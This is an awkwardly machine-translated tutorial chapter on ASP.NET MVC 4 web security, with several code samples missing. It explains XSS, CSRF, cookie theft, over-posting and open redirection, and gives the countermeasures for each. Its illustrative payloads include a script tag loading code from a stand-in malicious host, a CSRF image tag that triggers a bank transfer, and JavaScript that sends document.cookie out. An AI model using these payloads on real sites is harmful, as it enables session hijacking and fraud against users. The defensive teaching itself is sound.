Web The program runs on standard 、 Text based protocols (HTTP and HTML) above , So it's particularly vulnerable to automatic attacks . This chapter mainly introduces how hackers abuse applications , And the countermeasures to these problems .


threat : Cross-site scripting attacks (XSS)

       XSS Attack in Web Number one security threat , But unfortunately , Lead to XSS The main reason for the rampancy is that developers are not familiar with this attack . have access to 2 There are ways to achieve XSS:

  1. Passive injection (Passive Injection): Through the user will be malicious script command input to the website , And these websites can receive “ squalor ”(unsanitized) User input for .
  2. Take the initiative to inject (Active Injection): User input displayed directly on the page .

       Passive injection , The user enters dirty content into the text box , And save to database , It will be displayed on the page again later ; Active injection , The user's input is immediately displayed on the screen . this 2 All kinds of ways can cause great harm .


Passive injection (Passive Injection)

       XSS This is achieved by injecting script code into the website receiving user input , A typical example is blogs , It allows users to submit their own comments . We know , Blog forms usually have 4 Text elements : full name 、e-mail Address 、 Comment on 、URL. Forms like this make XSS Hackers salivate , There are two reasons , First , They know that the input submitted in the form will be displayed on the site ; secondly , They know the code URL so much trouble , And developers generally put these URL As part of the anchor tag , In general, these contents will not be checked as necessary .

       The attacker first checks whether the site encodes a specific character on the input element , The reason is URL Fields may have the possibility of injecting scripts . To illustrate this point , Let's type in URL:

Your Home URL:No blog!Sorry:<

       This is not a direct attack , It's just URL I put a “<” Symbol , If the URL the HTML code ,URL Medium “<” The symbol will be “&lt” Replace , therefore , You need to know if it's right URL the HTML code , Just look at URL Medium “<” Whether it is replaced or not . Here's a comment , It turned out to be all right .


       There's nothing wrong with that, though , But this has hinted to hackers that injecting scripts is possible , There is no right here URL The verification mechanism of , If you look at the source code of the page , Hackers will have a strong XSS Attack ideas :

<a href="No blog! Sorry:">Bob</a> // I mean , Previously, if you entered the correct blog home page address , So click on the name here Bob, It should navigate to Bob The blog of

       Although the harm doesn't seem dangerous , But from the perspective of hackers, it can cause great harm . towards URL Field enter the following , See what happens :

"><iframe src="http://haha.juvenilelamepranks.example.com" height="400" width=500/>

       This line of script turns off the unprotected anchor tag , And forced the site to load a iframe, But if you attack a website like this , It's extremely stupid , This will only remind webmasters to fix loopholes .


       If the real invisible hacker , It should be like this :

"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="

       This line of script code injects a JS Script label , Another anchor tag is opened while the anchor tag is closed , That's the smartest thing to do ! Even if you hover over the name , And you won't see the injected script tag , Because this is an empty anchor tag ! When any user accesses the HTML When the page is , Malicious website will output malicious JS Code , Perform some malicious operations , For example, the user's cookies Or send the data to the hacker's own website .

       The injection attack above finally generated HTML The code is as follows :


prevent XSS

       1. Do... On everything HTML code . Most of the time, use simple HTML Coding can avoid XSS, Through this process, the server will HTML Reserved characters (<、> etc. ) Replace with the corresponding code . And for ASP.NET MVC for , Just use... In the view Html.Encode or Html.AttributeEncode Method can realize the encoding replacement of the property value . Every point on the page should be output through HTML Encoding or HTML Feature coded !Razor By default, the view engine uses HTML code , This brings great convenience and safety .


       2. In addition to paying attention to HTML Output , Protect those who are HTML The characteristics of dynamic settings are also very important .


       3. Conduct JavaScript code . Use only HTML Coding everything is not enough , That doesn't stop JavaScript Implementation . The following passage HTML Coded URL There are still loopholes , A warning box will pop up :


       Hackers can use hexadecimal escape code to insert into the input content at will JS Script code , A truly malicious hacker doesn't pop up a warning , It's stealing user information or redirecting users .             



threat : Cross-site request forgery (Cross-Site Request Forgery,CSRF)

        CSRF It's easier to attack than to XSS Attacks are more dangerous . In order to fully understand CSRF The concept of , We will divide it into two parts , Namely XSS and Confusing agents (confused deputy).

       Obfuscation agent is a computer program , It was fooled innocently by other parts of the program , So that the wrong use of their own permissions , It's an extension of privilege (privilege escalation) A specific type of . In such cases , A proxy is the user's browser , Being fooled into misusing its authority , Present users to remote sites .

       Suppose you're building a beautiful looking website , Allow users to log in and out , And any operation within the authority of the site . stay AccountController The controller ,Login Keep the operation as simple as possible , And then add one more Logout Delete the login user's information :

public ActionResult Logout()



 return RedirectToAction("Index", "Home");


        Suppose you are allowed to enter a limited number of HTML( A list of acceptable labels or characters ) As part of the comment system , Most of HTML It's been streamlined and purified , But because users are allowed to post screenshots , So there are no restrictions on pictures . If one day , Someone added this slightly malicious HTML Picture label :

<img src="/account/logout" />

        Now, once someone visits the page , The browser will automatically request this image , After that, I will exit the site . This is not necessarily a CSRF attack , It shows how to do it without the user's knowledge , Hang sheep's head to sell dog meat cheat browser to any designated site issued GET request !


       CSRF Attacks are based on the way browsers work . After logging into a site , The information will be in the form of cookie The form is stored in the browser , It could be in memory cookie( conversation cookie), It could be more durable to write to the hard disk cookie. Through these two cookie Any one of , The browser will tell the site that this is a request from a real user .

       Here's a real CSRF Examples of attacks , From the perspective of hackers ,CSRF Attacks can do a lot of damage , And the game between users and the site is an unbalanced contest of strength . because Big Massive Site The site has nearly 100 websites every day 5 Millions of requests , So the situation is good for hackers . Now let's talk about the nature of the game , Find out what you can do about the security vulnerabilities of the site , Such as link comments , Try all kinds of things while surfing the Internet , Accumulated a “ A widely used online banking site ” list , These banking sites can support online transfer and bill payment , After study , Understand how these banking sites respond to transfer requests , We will find that there is a very serious security vulnerability in one way ( The transfer mark is in URL in ), As shown below :


       This method of marking is sheer stupidity , Which bank would do that ? Unfortunately , The answer to this question is not one bank, but many banks are doing , The reason is simple ,Web Developers trust browsers too much . above URL Depending on this assumption : The server will use the data from the session cookie To verify the user's identity and account , This assumption is not bad , conversation cookie You can avoid having to log in again every time you request , So browsers have to remember something !

       There are still some things not discussed above , Need to use some social engineering knowledge , Log in as a hacker to Big Massive Site Site , Enter the following as a comment on one of the main pages :

Hey, did you know that if you're a Widely Used Bank customer the sum of the digits of your account number add up to 30? It's true! Have a look: http://www.widelyusedbank.example.com." // Set up a set of , Let users easily click the link to the bank , Entice users to log into the banking system

        And then quit Big Massive Site Site , And log in again with a second fake account , Fictitious users with different names on the “ seeds ” Comment and leave a message :

"OMG you're right! How weird!<img src="http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber=6214850210491368&from=checking" />.

// There's nothing wrong with the first browsing , After logging into the banking system , Back here or when you go back to the page and post a comment , This request will be transferred

        Widely Used Bank After seeing the comments , It's likely to log in to their account , And calculate the cumulative sum of account numbers . If it turns out after calculation that it is not equal to 30, They will come back to Big Massive Site, Read the review again ( Or leave your own comments ,“ incorrect , My cumulative sum is not 30”).

        Unfortunately ,Perfect Victim( The victim ) My browser still keeps his login session information in memory , Which means he's still logged in ! When he browsed to the page with CSRF Attack page ,CSRF The page will send a transfer request to the bank site , Money is everything “ perfect ” What's missing .

        In the comments with CSRF Attack the link image as an incomplete red X To render , But most people think of it as a damaged avatar or emoticon . in fact , This is a confusing proxy attack to defraud cash . This attack is not limited to simple image tags /GET The deception of the request , It can also be well extended to the spread of spam , Sending people fake Links , And go to great lengths to get people to click on links , When you enter his site , Hidden iframe Or some scripts will automatically use HTTP POST Request to submit a form to the bank , Trying to transfer . If a customer clicks this link without leaving the bank's website at this time , Then the attack will be successful .


prevent CSRF attack

       1. ASP.NET MVC The framework provides a way to stop CSRF A good way to attack , It achieves the purpose of defense attack by verifying whether the user submits data to the site . The easiest way to do this , It is to insert a hidden input element with a unique value in each form request :

<form action="/account/register" method="post">

 <!-- Generate a hidden form field ( Security marks ), This field will be validated when the form is submitted -->




The above code will generate, for example :

<input name="__RequestVerificationToken" type="hidden" value="zLQwGy3GarHp4wOyPx1sLYrfPfVHtjkCxDWkP54V4krJUXX7SY3HCHsUT5UCqPZK31IuATa7iUejEGJdA7fN1JvnmVix_fjgOg3xu64e2fg1" />

       This value will be associated with as a session cookie Another value stored in the user's browser matches , When you submit the form ,ActionFilter Will verify that the two values match :



       2. Use ActionFilter Conduct HttpReferrer verification , You can check whether the client submitting the form value is really on the target site :

public class IsPostedFromThisSiteAttribute : AuthorizeAttribute


 public override void OnAuthorization(AuthorizationContext filterContext)


 if (filterContext != null)


 if (filterContext.HttpContext.Request.UrlReferrer == null)


 throw new System.Web.HttpException("Invalid submission");



 if (filterContext.HttpContext.Request.UrlReferrer.Host != "mySiteName")


 throw new System.Web.HttpException("This form wasn't submitted from this site!");






public ActionResult Register(RegisterModel model)



threat :cookie Theft

       cookie It's an increase Web Usability approach , Most websites are used after users log in cookie To identify the user . without cookie, Users will log in to the website again and again , But if the attacker steals cookie, You can impersonate the user's identity to operate on the website .

       cookie Some of the information is irrelevant , Like site preferences and site history , But the information used to identify users is very important , such as ASP.NET Form validation ticket (ASP.NET Forms Authentication Ticket),cookie There are mainly 2 In the form of :

  1. conversation cookie: Stored in the browser's memory .
  2. persistence cookie: It is stored in the actual text file in the computer hard disk .

       Two kinds of cookie Will pass in every request HTTP Head information is transmitted . If you can steal someone's authentication on a website cookie, You can easily impersonate him . This attack is actually very simple , It depends on XSS Loophole , The attacker needs to inject some scripts into the target site , To steal cookie. For example, in some comments , Injected with some carefully constructed URL, The final rendered code loads and executes the script from the remote server ,JS The code is as follows :

window.location = ""

+ document.links[1].text

+ "&l=" + document.links[1]

+ "&c=" + document.cookie;

       In this way, the attacker can quickly steal the user's cookie.


       have access to HttpOnly organization cookie Theft . in fact , You can stop the script on the site cookie The interview of , Just set a simple flag HttpOnly that will do :

<httpCookies domain="" httpOnlyCookies="true" requireSSL="false"/> // web.config Set in

Response.Cookies["MyCookie"].Value = "Remembering you...";

Response.Cookies["MyCookie"].HttpOnly = true; // In the program for each cookie Set separately .

       The setting of this flag will tell the browser , In addition to server modifications or settings cookie outside , Others are right cookie None of the operations are valid . It's easy to do this , But it can stop most of them XSS Of cookie problem , And because scripts rarely need access cookie, So this function is often used .



threat : Repeated submission

       Model binding presents another attack medium through repeated submission . Here's an example of a store product page that allows users to submit comments :

public class Review


 public int ReviewID { get; set; }

 public int ProductID { get; set; }

 public Product Product { get; set; }

 public string Name { get; set; }

 public string Comment { get; set; }

 public bool Approved { get; set; }



       Show the user a simple form , Contains only Name and Comment Two fields :

Name: @Html.TextBox("Name") <br />

Comment: @Html.TextBox("Comment")

       We don't want users to be able to audit their own comments , However , There is a lot of Web Development tools allow malicious users to add... To query strings or submitted form data “Approved=true”, To achieve intervention form submission . But the model binder doesn't know which fields are included in the submitted form , And will Approved Set to true. To make matters worse , because Review There is one in the class Product attribute , therefore , Hackers can also try to submit something like Product.Price The field values of the , These changes are beyond the user's operation authority .


       The easiest way to defend against repeated submission attacks , Is the use of Bind Explicit control of features requires properties that are bound by the model binder .Bind Features can be used on model classes , It can also be put on the controller operation . You can use whitelists to specify the fields that are allowed to bind , You can also use the blacklist to prohibit binding fields , Usually white lists are safer ( It's not easy to make mistakes ).

[Bind(Include = "Name,Comment")]

[Bind(Exclude = "Product,Approved")] // Usually just use the white list above 

public class Review



threat : Open redirection (Open Redirection Attack)

       Those by request ( Such as query string and form data ) Specify redirection URL Of Web Applications can be tampered with , And redirecting users to external malicious websites URL, This kind of tampering is called redirection attack .

       The attacker knows the website the user wants to log on to , This makes users extremely vulnerable to phishing attacks (phishing attack), So open redirection is very dangerous . for example , Attackers send malicious e-mails to site users in an attempt to capture their passwords . First send a link to the user :


       Be careful , Back to URL Is the domain controlled by the attacker ( One less. 'n'), When a user accesses , Will link to a legitimate site to log in , If successful, it will be navigated to the attacker's site , Unless you're very alert , Otherwise, it's hard to detect that this is a fake login page , The attacker carefully designed the same login page , And include an error message on the page , Ask the user to log back in , At this time, the user who was fooled thought that he had just entered the wrong password , When you reenter it again , The attacker's site records this information , Redirect users to legitimate sites again , here , The legal site has been verified before , Final , The attacker has the user's user name and password , But users don't know that they have provided them with this information .


       MVC1 and MVC2 in LogOn The implementation of returns a redirection to returnUrl, As you can see from the following code, there is no right returnUrl Parameter for any validation :

public ActionResult LogOn(LogOnModel model, string returnUrl)


 if (...)// Do some validation 


 return Redirect(returnUrl);


 return View(model);



       MVC4 The application has been modified Login operation , Also on returnUrl Parameters to verify :




public ActionResult Login(LoginModel model, string returnUrl)


 if (ModelState.IsValid && WebSecurity.Login(model.UserName, model.Password, persistCookie: model.RememberMe))


 return RedirectToLocal(returnUrl);



 // If something goes wrong when we get to this point , The form is redisplayed 

 ModelState.AddModelError("", " The user name or password provided is incorrect .");

 return View(model);



private ActionResult RedirectToLocal(string returnUrl)


 if (Url.IsLocalUrl(returnUrl)) // Returns a value , The value indicates URL Whether it's local URL


 return Redirect(returnUrl);




 return RedirectToAction("Index", "Home");




// actually ,IsLocalUrl Method is called internally System.Web.WebPages Methods , because ASP.NET Web Pages Applications should also use this method of verification 

public bool IsLocalUrl(string url)


 return System.Web.WebPages.RequestExtensions.IsUrlLocalToHost(Request, url); 




ASP.NET Security threats and solutions summary



Complacent Self training , Suppose the program will be attacked , remember : The most important thing is to protect your data
Exaggerated script attack (XSS) Use HTML Code everything . Coding features . remember JavaScript code . If possible , Use AntiXSS class
Cross-site request forgery (CSRF) Token validation . idempotent GET request .HttpReferrer verification .
Repeated submission Use Bind Feature explicitly binds the whitelist or rejects the blacklist
Redirection attacks Verify that it is local URL

Web Security vectors in applications – ASP.NET MVC 4 More related articles in the series

  1. 7、Web Security vectors in applications -- Use Retail Deployment configuration

    This method does not need to edit various configuration settings randomly , It's using ASP.NET characteristic :Retail Deployment configuration . The deployment configuration is for the server machine.config file ( stay %windir%\Microsoft.NET\Frame ...

  2. 1、Web Security vectors in applications -- XSS Cross-site scripting attacks

    XSS attack ( Cross-site scripting attacks ) The concept of : Users implant their own script code through the input box on the website page , To get extra information . XSS How to implement : (1) Through the user will be malicious script command input to the website , And these websites can receive " Quit doing ...

  3. 6、Web Security vectors in applications -- customErrors( Proper error reporting and stack tracing )

    Almost all websites are in the process of development web.config Features are set in the file <customErrors mode="off">. customErrors Pattern has 3 Optional settings : ...

  4. 3、Web Security vectors in applications -- cookie Theft

    As the user , In order to prevent cookie Theft , You can select... In the browser settings " Ban cookie", But doing so is likely to cause a warning to pop up when visiting a site " The site must use cookie". ...

  5. 5、Web Security vectors in applications -- Open Redirect Attack( Open redirection )

    The concept of open redirection attack : Those by request ( Such as query string and form data ) Specify redirection URL Of Web Applications can be tampered with , And redirecting users to external malicious URL. Check the validity of the destination address before performing redirection , You can use Url.I ...

  6. 2、Web Security vectors in applications -- CSRF/XSRF( Cross-site request forgery )

    CSRF There are two kinds of concepts :XSS And confusing agents . Confuse... In agency " agent " It's the user's browser .CSRF It's based on the way browsers work . After a user logs in to a site , The user's information will be stored in cookie in ...

  7. 4、Web Security vectors in applications -- over-posting( Repeated submission )

    Model binding is ASP.NET MVC Powerful features provided by , The input elements can be mapped to model attributes according to the naming convention , This greatly simplifies the process of processing user input , However , It's another form of attack , Provides an opportunity for the attacker to fill in the model properties , The lower right ...

  8. stay ASP.NET MVC Web Output from the application RSS Feeds

    RSS Full name Really Simple Syndication. Some websites with high update frequency can be accessed through RSS Let Subscribers get updated information quickly .RSS The documentation is subject to XML canonical , It must contain the title . link . Description information , It can also include hair ...

  9. Asp.NetCore Web Request pipelines and Middleware in applications

    Do you wonder when we ask for a ASP.NetWeb After the application , How it handles these requests , How does backstage work , Let's talk about it today Asp.NetCore Web Request processing in an application . Previous section , We talked about ,Start ...

Random recommendation

  1. event.stopPropagation() And event.preventDefault()

    <div id='div0'> <div id='div1'> <a href="#" id='div2'>2222</a> < ...

  2. How to HTML Encoding and decoding ?

    answer : This is simpler //HTML Encoding and decoding Console.WriteLine(System.Web.HttpUtility.HtmlEncode("<h1> I am a Chinese character !< ...

  3. Redhat=》 chinese

    my redhat No language options are prompted during installation , Due to the need of the project , Support for Chinese characters is inevitable , So you have to install Chinese input method . Install the Chinese language pack Connect the system disc image file to the computer , My mirror image is RHEL5.1 Of , First mount the CD to /mnt Objective ...

  4. mysql Notes on subversion ( Four )-- Commodity system design ( One ): The design of commodity main table

    Copyright notice : The note organizer, the fugitive, loves freedom , Advocate sharing . But this note comes from www.jtthink.com( Programmers in trouble ) Teacher Shen Yi <web level mysql Subverting the actual combat course >. If you need to reprint, please respect the teacher's work , Keep your ease ...

  5. windows Resource monitor

    windows The resource monitor has a very powerful resource monitoring capability win+r Input resmon.exe You can open

  6. js Realization div Module screenshot and download function ( You can make long pictures )

    When you need to implement html When you take a screenshot of a part of the page and have the function of saving pictures , It will be much more convenient for the front desk to generate screenshots and download them directly . Don't say more , Looking directly at the code, first we need to introduce 2 individual js file : <script type="text/ja ...

  7. oracle View the slowest execution and the most queries sql Statement and its execution speed is very slow

    oracle View the slowest execution and the most queries sql sentence notes : In this paper, the source On <oracle View the slowest execution and the most queries sql sentence > Preface stay ORACLE Database application tuning , One SQL Number of executions / frequency ...

  8. Tomcat connectionTimeout Problem positioning and handling

    Problem phenomenon At some point , Back end received the usual 4-6 Times the request ( For the sake of confidentiality , Omit products and events ), stay 10 Minutes later, there was no request to come in Question why Through the analysis of , First , The backend server's thread pool is full , The reason why the thread pool is full :1.server ...

  9. 【 Reading notes 】iOS-WiFi A long connection

    If your application needs a persistent WiFi A long connection , You can set the app's Info.plist In the document UIRequiresPersistentWiFi The configuration items Boolean It's worth it . If the value of this configuration item is YES ...

  10. erlang Simple simulation of half packet generation

     gen_tcp:linsten()/2 It uses {packet,2/4/8}, be gen_tcp The module automatically removes the packet header or adds the packet header when receiving or sending . In this case, we use {packet,0}. -module( ...